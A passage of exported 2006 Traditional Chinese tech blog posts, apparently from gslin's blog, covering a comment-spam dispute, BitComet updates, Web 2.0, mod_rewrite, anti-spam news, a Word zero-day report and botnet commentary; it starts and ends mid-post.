卻接到：\r\n<blockquote>最近這網摘事業也遇到這樣的問題了。一下說，你摘我的東西要尊重我，要徵求我的同意。也有人說，他認為的網路禮儀是摘完後要告知，但不用等到同意，若有意見再撤掉。最近又一股聲音出來了，說網摘原本就是資訊自由，你愛摘就摘，但摘完不要通知我，否則就是spam！\r\n\r\n好吧，這才真的叫做，你不可能討好這世界上所有的人。</blockquote>\r\n剛好符合 <a href=\"http://blog.gslin.org/archives/2006/05/13/579/\">網路論文撰寫技巧</a> 的：\r\n<ul>\r\n\t<li>合理夾帶無理：辯論賽上會扣分的技巧非用不可，論文撰寫可沒人打分數。</li>\r\n</ul>\r\n而 amarylliss 根本不認為他所做的是 Comment Spam：(2006/03/01 的文章，2006/04/04 的留言，<a href=\"http://blog.gslin.org/archives/2006/03/01/421/\">Spam</a> 這篇)\r\n<blockquote>這叫做「網摘」並不是SPAM\r\n＠�</blockquote>\r\n以及 2006/05/13，<a href=\"http://blog.gslin.org/archives/2006/05/12/571/#comment-5153\">amarylliss 的留言</a>：(後半部)\r\n<blockquote>總之，你通知不通知，都會有人在旁邊有意見。\r\n有意見是好的，不過到底怎麼做才是最符合眾多網友的期待，而且顧及所有BLOGGER的情緒，這是智邦生活館必須思考的。</blockquote>\r\n沒有人道歉啊？更何況還說：(<a href=\"http://blog.gslin.org/archives/2006/05/13/578/#comment-5155\">amarylliss</a>，最後面一句)\r\n<blockquote>但是您個人的想法，我個人認為不代表大多數人對網摘的看法…</blockquote>\r\n在這篇文章之前，所有的討論文章都環繞在 <strong>三個錯誤的論點</strong> 上面跑，而導致有些清醒的人跳出來為智邦的網摘師辯護，所以這些網摘師被群眾給沖昏頭，以為有很多人支持網摘師到 Comment 上「通知原作者」是正確的：\r\n<ol>\r\n\t<li><strong>法律上：Link 是有問題的</strong>：十年前的問題在五年前就已經消失了。現在 Link 是合法的，而且 Link 會帶動資訊的交換。</li>\r\n\t<li><strong>法律上：商業用途違背某些人的 CC 授權</strong>：Link 不受 CC 影響，「引用」才受影響。</li>\r\n\t<li><strong>道德上：為什麼摘的人拿錢，寫的人沒錢？</strong>：「分類」這件事情本來就有人力成本，就如同 <a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo!</a> 最早是用人力維護 Category/Directory。</li>\r\n</ol>\r\n真正的錯誤在 Spam、Spam、Spam，這是道德問題，不是法律問題。我可以很明白的告訴你，是我們幾個人在 irc 上幹剿後，由 <a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">hlb</a> 第一個提出完整「Comment Spam」的論點 (<a href=\"http://hlb.yichi.org/blog/2006/05/12/101\">網摘（阿爸生我，不是要我來討戰的）</a>)，之後把問題移到這個很嚴重的道德問題上。\r\n\r\n如我前面所說，沒有人知道真相，沒有人會知道是不是故意的。但就前面我所敘述的言論，我不相信 Roach 與智邦的網摘師。",
    "title": "關於「智邦」與「智邦網摘師」是不是故意的事情"
  },
  {
    "id": "581",
    "body": "<a href=\"http://www.bitcomet.com/\" rel=\"tag\">BitComet</a> 又更新了，看 Changelog 的說明，只是修正一些小 bug，把 ICF/UPnP 支援度加強... 最後看到把 <a href=\"https://www.paypal.com/\" rel=\"tag\">PayPal</a> 那條，這也算 Bugfix 嗎 XD\r\n<ul>\r\n\t<li>GUI Bugfix: fix the incorrect prompt text when open torren file failed</li>\r\n\t<li>GUI Bugfix: change PayPal picture auto-update period to one day</li>\r\n\t<li>GUI Bugfix: improve the detecting algorithm of Real file decoder in Video Codec Check Wizard</li>\r\n\t<li>Core Improved: enhanced ICF/UPNP port mapping operation</li>\r\n\t<li>Core Bugfix: fix the bug that the program may crash when received incorrect packet</li>\r\n</ul>",
    "title": "BitComet 0.67"
  },
  {
    "id": "582",
    "body": "<a href=\"http://en.wikipedia.org/wiki/Sergey_Brin\" rel=\"tag\">Sergey Brin</a> (<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 創辦人、技術部門總裁) 十年前在 Usenet 上寫的東西被自己家的 <a href=\"http://groups.google.com/\" rel=\"tag\">Google Groups</a> 拿出來鞭 XD：<a href=\"http://blog.outer-court.com/archive/2006-05-14.html#n71\">What Sergey Brin Said in 1994/1995</a>。\r\n\r\n總共有四篇文章，點 <a href=\"http://groups.google.com/groups/profile?enc_user=xR9N1xsAAAB2Fjw_0wcG2fyjFgOixdWk8YuSR3qYeyHzTRBf70ReEg&hl=en\">這裡</a> 可以看到，問論文的、問機票的、...。",
    "title": "Sergey Brin 1994-1995 在 Usenet 的文章"
  },
  {
    "id": "583",
    "body": "在 <a href=\"http://glinden.blogspot.com/2006/05/tim-oreilly-and-defining-web-20.html\">Tim O'Reilly and defining Web 2.0</a> 這篇看到的，Tim O'Reilly 在 <a href=\"http://www.berkeley.edu/\" rel=\"tag\">UC Berkeley</a> 演講時這樣定義：\r\n<blockquote>But even more important than their enthusiasm, the users of successful internet applications supply their intelligence. A true Web 2.0 application is one that gets better the more people use it. Google gets smarter every time someone makes a link on the web. Google gets smarter every time someone makes a search. It gets smarter every time someone clicks on an ad. And it immediately acts on that information to improve the experience for everyone else.\r\n\r\nIt's for this reason that I argue that the real heart of Web 2.0 is harnessing collective intelligence.</blockquote>\r\n以他的定義，毫無疑問的：\r\n<ul>\r\n\t<li>當用的人愈來愈多，網站就愈來愈豐富的 <a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a> 這類 Social Bookmark 當然是 Web 2.0。</li>\r\n\t<li><a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 與 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 當然也是 Web 2.0，前者以群眾力量產生文章，後者則是以群眾力量發表評論。(不要忘記，<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 真正的重點都在 comments 裡 XD)</li>\r\n</ul>\r\n不過這麼說來，<a href=\"http://maps.google.com/\" rel=\"tag\">Google Maps</a> 就不算 Web 2.0 了？這點倒是跟想像有點出入... 不過不管怎樣，Web 2.0 必須以「人」為中心倒是沒什麼爭議。",
    "title": "Web 2.0 的定義"
  },
  {
    "id": "584",
    "body": "在 <a href=\"http://blog.outer-court.com/archive/2006-05-15-n32.html\">Your Message on Gaxed.com</a> 看到一個 Cache 技巧：\r\n<blockquote>For Gaxed I’m using some heavy caching to prevent it from going down to easily. The basic algorithm is: when a picture is viewed more than 50 times, it’s moving into the cache folder as a static JPG (the page URL will stay the same of course, acting as a permalink). This way, I don’t need to poll the PHP, the database, and I also don’t need to recreate the image using PHP image/ GD.</blockquote>\r\n問題是 counting 要怎麼做比較好？用 <a href=\"http://www.danga.com/memcached/\" rel=\"tag\">memcached</a> 直接做似乎不錯？反正掉了再去抓就好。",
    "title": "Cache 的技巧？"
  },
  {
    "id": "585",
    "body": "<a href=\"http://www.extravalent.com/spamorham/\" rel=\"tag\">SpamOrHam.org</a> 是一個建立 Spam 與 Ham (Non-Spam) 樣本的計畫。2005 年時他們拿 <a href=\"http://plg.uwaterloo.ca/%7Egvcormac/treccorpus/\" rel=\"tag\">TREC 2005 Public Spam Corpus</a> 當作樣本，這份樣本裡的九萬兩千多封信件是以多種 Spam Filtering 軟體判斷歸類出來的，而 <a href=\"http://www.extravalent.com/spamorham/\" rel=\"tag\">SpamOrHam.org</a> 的計畫就是希望以人工的方式審視資料，找出錯誤的判斷。\r\n\r\n然而，今天在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到網站的發起人認為這個計畫並不成功：<a href=\"http://it.slashdot.org/article.pl?sid=06/05/15/1419223\">People Suck at Spotting Phishing</a>，原文在 <a href=\"http://www.jgc.org/blog/2006/05/theres-one-born-every-minute-spam-and.html\">There's one born every minute: spam and phishing</a>。\r\n\r\n在文章中他就舉了幾個例子，包括明明看起來只是一個簡單的回信，但使用者卻回報為 Spam。而 Phishing 的信件更糟，Spam Filtering Software 已經正確判斷為 Spam 類，但使用者卻說他不是 Spam...\r\n\r\n看起來發起人相當無奈... :P",
    "title": "人對於 Spam 的判斷能力"
  },
  {
    "id": "586",
    "body": "來講什麼是 mod_rewrite (或是其他類似的東西)，以 <a href=\"http://group.nctu.edu.tw/\" rel=\"tag\">Group.NCTU.edu.tw</a> 為例，RSS feed 的輸出大致上會長這樣：\r\n<blockquote><code>http://group.nctu.edu.tw/rss10/darkkiller</code></blockquote>\r\n我希望把這類的連線要求都交給 rss10.php 處理，變成這樣：\r\n<blockquote><code>http://group.nctu.edu.tw/rss10.php?g=darkkiller</code></blockquote>\r\n這就是 mod_rewrite 要做的事情。\r\n\r\n那麼用 mod_rewrite 有什麼好處？我可以想到這幾點：\r\n<ul>\r\n\t<li>服務的穩定性：對於發展中的平台而言，mod_rewrite 提供了彈性，使得底層的改變 (譬如 <code>rss10.php</code> 變成 <code>rss10-2.php</code>) 不會影響到上層的 URL，對於使用者而言不會有感覺。</li>\r\n\t<li>SEO：Search Engine 會比較偏好沒有 <code>?</code> 與 <code>&</code> 的 URL。</li>\r\n</ul>\r\n像無名的 RSS 與文章 (以彎彎的 Blog 為例) 就做的不太好：\r\n<ul>\r\n\t<li><code>http://www.wretch.cc/blog/cwwany&amp;rss20=1</code></li>\r\n\t<li><code>http://www.wretch.cc/blog/cwwany&amp;article_id=5576574</code></li>\r\n</ul>\r\n比較好的作法可能是改成這樣：\r\n<ul>\r\n\t<li><code>http://www.wretch.cc/blog/cwwany/rss20</code></li>\r\n\t<li><code>http://www.wretch.cc/blog/cwwany/5576574</code></li>\r\n</ul>\r\n甚至改成 <code>feed.wretch.cc</code>，一開始先用 VirtualHost 跑在同一台上，以後如果發現 RSS 愈來愈吃重，需要以獨立的機器分出來就更方便了。",
    "title": "為什麼要使用 mod_rewrite？"
  },
  {
    "id": "587",
    "body": "跟 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 一樣把 favicon.ico 放上去了，如果看不到的話，清 cache 應該就可以看到了 :P",
    "title": "放上 favicon.ico"
  },
  {
    "id": "588",
    "body": "早上睡醒就看到 <a href=\"http://www.frostyplace.com/\" rel=\"tag\">老地方冰果室</a> 這篇報導：<a href=\"http://www.frostyplace.com/index.php?story_id=4638\">黑白 MacBook 登場 MacBook Pro 順道升級</a>，當時看到關於電池的部份是：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/147835352/\"><img src=\"http://static.flickr.com/56/147835352_39686226ab_o.png\" alt=\"\" /></a>\r\n\r\n就順便把上面這張圖丟上 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a>，等到查清楚資料再丟上 <a href=\"http://typopedia.blogspot.com/\" rel=\"tag\">錯誤特攻隊</a>。\r\n\r\n結果吃個早餐，弄一弄，打開 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 發現文章有變動：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/147901155/\"><img src=\"http://static.flickr.com/53/147901155_8c982564a3_o.png\" alt=\"\" /></a>\r\n\r\n看起來有人在看 reverse link... (我發現 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 有把 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 的那頁收進去)",
    "title": "不知道在搞什麼鬼..."
  },
  {
    "id": "589",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到利用 Social Network 讓借錢這件事情變的更容易：<a href=\"http://slashdot.org/article.pl?sid=06/05/16/2013205\">Can Peer-To-Peer Finance Work?</a>。\r\n\r\n等下再來更新 (或是開一篇新的寫)。",
    "title": "透過 Social Network 借錢？"
  },
  {
    "id": "590",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/148345353/\"><img src=\"http://static.flickr.com/46/148345353_befe8734be.jpg\" alt=\"\" /></a>\r\n\r\n在 <a href=\"http://news.netcraft.com/\" rel=\"tag\">Newscraft</a> 看到的，<a href=\"http://www.verisign.com/\" rel=\"tag\">VeriSign</a> 將以 1.25 億美金現金買下 <a href=\"http://www.geotrust.com/\" rel=\"tag\">GeoTrust</a>，坐穩第一名的位置：<a href=\"http://news.netcraft.com/archives/2006/05/17/verisign_to_buy_geotrust_combining_top_ssl_providers.html\">VeriSign To Buy GeoTrust, Combining Top SSL Providers</a>。",
    "title": "VeriSign 買下 GeoTrust"
  },
  {
    "id": "591",
    "body": "<a href=\"http://www.bluesecurity.com/\" rel=\"tag\">Blue Security</a> 從四月底開始被 DDoS 攻擊以來不斷的抵抗，直到昨天他們決定放棄：<a href=\"http://it.slashdot.org/article.pl?sid=06/05/17/1322258\">Blue Security Gives up the Fight</a>。\r\n\r\n<a href=\"http://www.bluesecurity.com/\" rel=\"tag\">Blue Security</a> 的 Anti-Spam 作法是這樣做：\r\n<ol>\r\n\t<li>先成立一個網站，讓大家登記他們的 e-mail address，告訴全世界「不要 spam 這些信箱」。</li>\r\n\t<li>這些 e-mail address 是以 One-Way Hash Function 計算後的資料型態公開出來。</li>\r\n</ol>\r\n聽起來很不錯？你沒辦法得到一份有效的列表，但是如果你拿到一個 e-mail address，就可以用 One-Way Hash Function 算出來，看看在不在這份列表裡面。\r\n\r\n但，即使如此，如果我是 Spammer，我想要「復原」大部分的 e-mail address，然後對這些使用者謊稱「這份列表已經外洩出去」，那麼我就拿我手上有的 e-mail address 去計算，再加上用字典檔去試，也許我可以復原一半以上的 e-mail address，也許更多。到了足夠的數量，我就寄信給這些 user，告訴他們「這份名單已經外洩，blah blah...」，然後還寄了一大堆 virus/spam/...，於是 <a href=\"http://www.bluesecurity.com/\" rel=\"tag\">Blue Security</a> 就慘了 :p",
    "title": "Blue Security 放棄"
  },
  {
    "id": "592",
    "body": "最近寫了一些 Javascript 有關的東西，用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找了一堆資料發現都在 <a href=\"http://www.quirksmode.org/\" rel=\"tag\">http://www.quirksmode.org/</a> 裡，但是又不知道這個網站的品質到底好不好，於是就跑去問 <a href=\"http://hlb.yichi.org/\" rel=\"tag\">hlb 大師</a>...\r\n<blockquote>14:31 &lt;@gslin&gt; hlb_: <a href=\"http://www.quirksmode.org/\" rel=\"tag\">http://www.quirksmode.org/</a> 怎樣？用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找了一堆資料發現都在這邊找到 XD\r\n14:33 &lt;@hlb_&gt; gslin: 怎樣喔... 我兩年前就跟你提過這個網站了 :p\r\n14:33 &lt;@gslin&gt; @_@\r\n14:33  * hlb_ 逃</blockquote>\r\n平常都沒在聽大師教誨... (到牆角懺悔)",
    "title": "純打屁聊天..."
  },
  {
    "id": "593",
    "body": "最近有某個自稱為 Blog 的網站引起討論 (像是 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 的 <a href=\"http://blog.ijliao.info/archives/2006/05/17/2292/\">蔡依林的部落格</a> 這篇)，剛好看到大胖子 <a href=\"http://scobleizer.wordpress.com/\" rel=\"tag\">Scoble</a> 說 Blog 要有這五個要素才能叫 Blog：(<a href=\"http://scobleizer.wordpress.com/2006/05/17/a-blog-is-not-a-blog-unless/\">A blog is not a blog unless…</a>)\r\n<ul>\r\n\t<li>Ease of publishing.</li>\r\n\t<li>Discoverability. (Pings weblogs.com or technorati or another ping server).</li>\r\n\t<li>Conversationality. (Trackbacks or as-they-happen referer logs, or now being part of Technorati and other blog search engines).</li>\r\n\t<li>Linkability. (All posts should have permalinks).</li>\r\n\t<li>Syndicatability. (All content should be available in RSS feeds).</li>\r\n</ul>\r\n結果沒人鳥他 XD",
    "title": "Blog 是什麼？"
  },
  {
    "id": "594",
    "body": "透過 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 第二次看到沒有 Comment 的文章：<a href=\"http://science.slashdot.org/article.pl?sid=06/05/18/0337216\">Spacecraft Crashes Into Satellite</a>。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/148623506/\"><img src=\"http://static.flickr.com/55/148623506_c61b32472a.jpg\" alt=\"\" /></a>\r\n\r\n晚點再來看一次。",
    "title": "Slashdot 上沒有 Comment 的文章？"
  },
  {
    "id": "595",
    "body": "系上有一些軟體是特製的，或是加工過的，因為種種原因無法丟到 FreeBSD ports 裡時，就需要自己搞一個 local ports 之類的東西出來。成果可以參考 <a href=\"https://opensvn.csie.org/csports/\" rel=\"tag\">opensvn.csie.org/csports/</a> 這裡。\r\n\r\n剛好看到 <a href=\"http://rafan.infor.org/blog/\" rel=\"tag\">rafan</a> 的 <a href=\"http://rafan.infor.org/blog/archives/121\">FreeBSD local ports</a> 這篇講到 local ports 的東西，看起來大家都是去 <del datetime=\"2006-05-19T00:36:06+00:00\"><code>/usr/share/mk/</code></del> <code>/usr/ports/Mk</code> 下面翻 code 後決定怎麼惡搞，方法都一樣 XD\r\n\r\n至於文章裡說 portsdb 很慢，我們是丟到 <code>/etc/daily.local</code> 跑，反正慢慢跑總是跑得完的 :p\r\n\r\nPS：<a href=\"http://rafan.infor.org/blog/\" rel=\"tag\">rafan</a> 沒注意到 &lt; 與 &gt; 要換成 &amp;lt; 與 &amp;gt;，所以有些 quote 的地方看起來怪怪的。",
    "title": "FreeBSD 的 local ports"
  },
  {
    "id": "596",
    "body": "<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 因為 Toolbar 的 Suggest 功能「推薦」到非法軟體而被告：<a href=\"http://yro.slashdot.org/article.pl?sid=06/05/18/1629253\">Google in Trouble for Suggesting Illegal Software</a>。\r\n\r\n<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 說他們不會過濾，因為 \"censorship concerns\" (咦，那 Google China...)，而 Van Laere (被推薦到非法軟體的那家受害公司) 說你們平常就有在 filtering 了，像是 \"pornography\"、\"naked\"、\"sex\"：\r\n<blockquote>In response to the suit, a Google attorney told a Belgian newspaper on Wednesday that they could not filter the results of Google Suggest, citing censorship concerns.\r\n\r\nVan Laere said the defense isn't accurate, since it appears that Google Suggest will not try to complete tracking numbers for shipping items or offer alternate suggestions for sexually-related terms. In a test, Google Suggest did not offer any related words for the terms \"pornography,\" \"naked\" and \"sex.\"</blockquote>\r\n<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 愈來愈像 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 了...\r\n\r\n不管怎樣，這件事情要再繼續看看法庭上面怎麼判，這對於 (下一代) 搜尋引擎的影響會很大。",
    "title": "Google Toolbar 的「推薦」功能出包"
  },
  {
    "id": "597",
    "body": "由於美國政府在 9/11 後愈來愈恐慌，打算在飛機上禁用手機。禁用的原因不是手機影響飛安，而是透過手機，恐怖份子可以很容易的互相溝通。在一個多禮拜前 <a href=\"http://www.schneier.com/blog/\" rel=\"tag\">Bruce Schneier</a> 的 <a href=\"http://www.schneier.com/blog/archives/2005/06/risks_of_cell_p.html\">Risks of Cell Phones on Airplanes</a> 這篇文章裡就是在講這件事情。\r\n\r\n剛剛看到 <a href=\"http://www.kottke.org/\" rel=\"tag\">Kottke</a> 也對這件事情表示意見，在 <a href=\"http://www.kottke.org/06/05/networks-on-a-plane\">Networks on a plane</a> 提到在飛機上使用「網路」的危險性 (不是指「無線網路」干擾飛航，而是指利用「網路」互相聯絡幹壞事，比起手機不受到注意)，難道就要因為這樣禁用手提電腦嗎？",
    "title": "在飛機上的手機"
  },
  {
    "id": "598",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到有人被 Dugg 後把 IP address 的資料轉成經緯度資料，用 <a href=\"http://maps.google.com/\" rel=\"tag\">Google Maps</a> 將所有訪客都標出來：<a href=\"http://digg.com/software/Digg_Traffic_Plotted_On_Google_Maps_%28Real-Time%29\">Digg Traffic Plotted On Google Maps (Real-Time)</a>。\r\n\r\n像是全世界的流量：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/149009085/\"><img src=\"http://static.flickr.com/52/149009085_0c4b010f27.jpg\" alt=\"\" /></a>\r\n\r\n一標出來就知道全世界哪些地方的網路比較發達了 *默*",
    "title": "將 Digg 流量結合 Google Maps"
  },
  {
    "id": "600",
    "body": "<a href=\"http://blog.donews.com/keso/\" rel=\"tag\">keso</a> 這篇提到了台灣兩千萬與韓國四千萬的差距：<a href=\"http://blog.donews.com/keso/archive/2006/05/19/876162.aspx\">东拉西扯：和徐挺耀聊互联网</a>，實際上... 人數差了一倍，搞起 SNS 以及各種網路的應用本來就有差啊：\r\n<blockquote>但有个问题徐挺耀想不明白，韩国也只有4000多万人口，只是台湾人口的两倍多一点，为什么韩国的互联网产业就完全是另外一个面貌？那里除了大门户网站，还会涌现出OhMyNews和CyWorld这样的让美国人都激动不已的新型社区。所以，过几天他打算去韩国看看。</blockquote>",
    "title": "SNS 以及各種網路的應用"
  },
  {
    "id": "601",
    "body": "剛剛看到 <a href=\"http://www.dreamhost.com/rewards.cgi?hasname\" rel=\"tag\">DreamHost</a> <a href=\"http://blog.dreamhost.com/\" rel=\"tag\">Blog</a> 的 <a href=\"http://blog.dreamhost.com/2006/05/18/the-truth-about-overselling/\">The Truth About Overselling!</a> 這篇，突然想起有些積了很久的東西要寫 :p\r\n\r\n主要有兩個要注意的：\r\n<ol>\r\n\t<li>我們先計算出來：一天有 1440 minutes，如果有兩顆 CPU 就有 2880 CPU minutes，60 CPU mins 佔了 2%+，換句話說，一台雙 CPU 的機器只夠給五十個用滿 2%+ 的客戶用。</li>\r\n\t<li><a href=\"http://www.dreamhost.com/rewards.cgi?hasname\" rel=\"tag\">DreamHost</a> 提供了兩種模式跑 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a>：CGI mode (可以跑 PHP4 或 PHP5) 或 mod_php4，前者是預設值，跑 PHP4。</li>\r\n</ol>\r\n在 CGI mode 下會以 suexec 轉到 user 的身份跑，當然比較安全：所有的檔案權限都可以設定為 600，但是比較慢：因為要先 <code>fork()</code> 再 <code>execl()</code> 到 suexec，再 <code>execl()</code> 到 php.cgi。\r\n\r\n而 mod_php4 當然就快多了，少了 <code>fork()</code> + <code>execl()</code> + <code>execl()</code>，但 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 就是以 apache 的身份在跑，CPU resource 不會掛在 user 帳上，只要不要吃的太兇，其實都不太管。這時 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 安全上的問題則是透過 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 裡設定 safe_mode，在這個模式下無法透過 <code>fopen()</code> 開啟目錄外的檔案或 symbolic link，以及種種限制。\r\n\r\n<del datetime=\"2006-05-20T03:18:04+00:00\">回過頭來說 Blog Software 以及我對於 <a href=\"http://www.lifetype.org/\" rel=\"tag\">Lifetype</a> 開發者心態不以為然。\r\n\r\n<a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 在發展時就都有考慮到 safe_mode 的問題，所以在 <a href=\"http://www.dreamhost.com/rewards.cgi?hasname\" rel=\"tag\">DreamHost</a> 上可以直接使用 mod_php4。另外一方面，<a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 在發展新功能的同時，也在控制 CPU resource 與 <a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL</a> resource 的消耗量。在 <a href=\"http://blog.gslin.org/\" rel=\"tag\">blog.gslin.org</a> 與 <a href=\"http://gslin.org/\" rel=\"tag\">gslin.org</a> 還沒搬家前，就是以這種方式在跑。(在更早之前我也跑過 php.cgi 的模式，後來收到通知 CPU 超量的信，就改到 mod_php4，一直到四月底搬家)\r\n\r\n反過來看當年的 pLog (現在叫 <a href=\"http://www.lifetype.org/\" rel=\"tag\">Lifetype</a>)，這是 <a href=\"http://ben.yichi.org/\" rel=\"tag\">草蝦</a> 2005/06 時裝好 pLog 1.0 後覺得很慢，拿出工具追蹤所發現的紀錄：\r\n<blockquote>03:29 &lt;@Ben_&gt; 救命喔...讀取首頁就要用到 272 個 php 檔案...</blockquote>\r\n到了 2006/02/19，<a href=\"http://blog.markplace.net/marks_place/1/2006/02/19/83\">DreamHost Sucks! 我的惡夢！</a> 這篇最後面提到：\r\n<blockquote><strong>PS 2：</strong>我的 CPU Minuts 是多少？ 195 Minutes 而已啦！他們規定只能用 60 Minutes。</blockquote>\r\n用了整台主機 6%+ 的 CPU resource 還可以大喊人家爛，而且是自己在維護的 <a href=\"http://www.lifetype.org/\" rel=\"tag\">Lifetype</a>... *無言*</del>",
    "title": "DreamHost 的 CPU 限制"
  },
  {
    "id": "602",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到美國專利局要重審這個惡名昭彰的專利：<a href=\"http://digg.com/links/U.S._Patent_Office_re-examines_Amazon_s_One_Click_patent\">U.S. Patent Office re-examines Amazon's 'One Click' patent</a>。\r\n\r\n重審的原因是 <a href=\"http://igdmlgd.blogspot.com/\" rel=\"tag\">Peter Calveley</a> 發現在 1998 三月就有一個類似的專利，也就是在 One Click 專利的前十八個月。翻了一下他的 Blog，似乎就是為了這件事情成立的，全部都是講 <a href=\"http://www.amazon.com/\" rel=\"tag\">Amazon</a> 專利問題 :p",
    "title": "\"One Click\" 專利"
  },
  {
    "id": "603",
    "body": "熱鬧滾滾：<a href=\"http://it.slashdot.org/article.pl?sid=06/05/19/1718203\">MS Word Zero-Day Exploit Found</a>。\r\n\r\n重點是：(<a href=\"http://www.eweek.com/article2/0,1895,1965042,00.asp\">Alert Raised for MS Word Zero-Day Attack</a>)\r\n<blockquote>A zero-day flaw in the ubiquitous Microsoft Word software program is being used in an active exploit by sophisticated hackers in China and Taiwan, according to warnings from anti-virus researchers.</blockquote>\r\n超讚的啦... 看起來是被玩一陣子才被抓到的 XD",
    "title": "Microsoft Word Zero-Day Exploit"
  },
  {
    "id": "604",
    "body": "在 <a href=\"http://blog.outer-court.com/\" rel=\"tag\">Google Blogoscoped</a> 看到第一個 PPC Botnet 被發現的消息：<a href=\"http://blog.outer-court.com/archive/2006-05-20.html#n66\">Clickbots vs AdSense and Others</a>，不過目前看起來還是蠻傳統的方法控制 (透過 Web servers 抓資料)：\r\n<blockquote>The bots are controlled remotely through several Web servers.</blockquote>\r\n理想中的狀態應該是 Botnet 本身是 P2P Network，再透過數位簽章的方式丟指令叫 Botnet 做，使得整個 Botnet 建立後就沒有 single point of failure，而且這樣會大幅提昇 Spammer 的隱密性...",
    "title": "PPC (Pay Per Click) Botnet"
  },
  {
    "id": "605",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到最常被拿來當密碼的是 \"password\" XD：<a href=\"http://digg.com/security/Password_Protection_is_an_Oxymoron\">Password Protection is an Oxymoron</a>。\r\n\r\n這讓我想起上次系上跑 john 通知使用者改密碼的經驗 XD",
    "title": "最常被拿來當密碼的..."
  },
  {
    "id": "606",
    "body": "<a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 丟出神秘的 link：<a href=\"http://byster.net/?page_id=48\">PHP5 Benchmark</a>，有一些是等價用法的速度比較，看一看還蠻有趣的... 發現神秘 function，看起來 PHP manual 還不夠熟 o_o\r\n\r\n同樣的文章有好幾篇，在那篇文章右邊的 link：<a href=\"http://byster.net/?page_id=36\">PHP4 Benchmark</a>、<a href=\"http://byster.net/?page_id=49\">MySQL Benchmark</a>、<a href=\"http://byster.net/?page_id=63\">Apache Benchmark</a>。",
    "title": "PHP4/5 的效率分析"
  },
  {
    "id": "607",
    "body": "<a href=\"http://www.donnerwood.com/tringo.html\" rel=\"tag\">Tringo</a>，<a href=\"http://bramcohen.livejournal.com/\" rel=\"tag\">Bram Cohen</a> 在他的 Blog 上提到的 Flash 遊戲，很簡單的遊戲，可是還蠻好玩的：<a href=\"http://bramcohen.livejournal.com/32827.html\">Tringo</a>。",
    "title": "Tringo"
  },
  {
    "id": "608",
    "body": "在 <a href=\"http://www.digg.com/\" rel=\"tag\">Digg</a> 看到一張在 National Geographic Society 所刊出的圖：<a href=\"http://digg.com/links/What_is_so_special_about_this_photo__3\">What is so special about this photo?</a>，仔細看才會看出奧妙 XD",
    "title": "一張有趣的圖"
  },
  {
    "id": "609",
    "body": "這陣子發現 <a href=\"http://unknowngenius.com/blog/wordpress/spam-karma/\" rel=\"tag\">Spam Karma</a> 擋下來的 Spam 變多了，今天在 <a href=\"http://photomatt.net/\" rel=\"tag\">Matt</a> 那邊看到 <a href=\"http://akismet.com/\" rel=\"tag\">Akismet</a> 的統計資料，跟之前所感覺的差不多，從月中開始爆增：<a href=\"http://photomatt.net/2006/05/22/new-spam-stats/\">New Spam Stats</a>。統計圖在這：<a href=\"http://akismet.com/stats/\">Stats Page (beta)</a>。",
    "title": "Blog Spam"
  },
  {
    "id": "610",
    "body": "一個團體會需要有個管道和參與的人互動，像是詢問問題、回報問題、提供建議。對於不同的規模，有不同的方法。\r\n\r\n在開放原始碼的社群裡面，如果團體很小 (發展者不到三個人)，可以透過郵件論壇或是聊天室互相討論。像是 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 的發展就蠻接近這種模式。\r\n\r\n但如果團體比較大，發展者有兩位數甚至三位數，這時候就要有工具幫忙，讓使用者回報問題、提出建議時的紀錄可以有系統的整理出來。這種系統有的時候叫做 Problem Report System，有的時候叫做 Bug Tracking System。像是 <a href=\"http://www.mozilla.org/\" rel=\"tag\">Mozilla</a> 在發展軟體所使用的 <a href=\"http://www.bugzilla.org/\" rel=\"tag\">Bugzilla</a>，或是下面所提到的 <a href=\"http://www.gnu.org/software/gnats/\" rel=\"tag\">GNU GNATS</a>。\r\n\r\n我接觸 <a href=\"http://www.gnu.org/software/gnats/\" rel=\"tag\">GNU GNATS</a> 是因為 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 使用 <a href=\"http://www.gnu.org/software/gnats/\" rel=\"tag\">GNU GNATS</a> 管理整個專案。\r\n\r\n參與 <a href=\"http://www.freebsd.org/\" 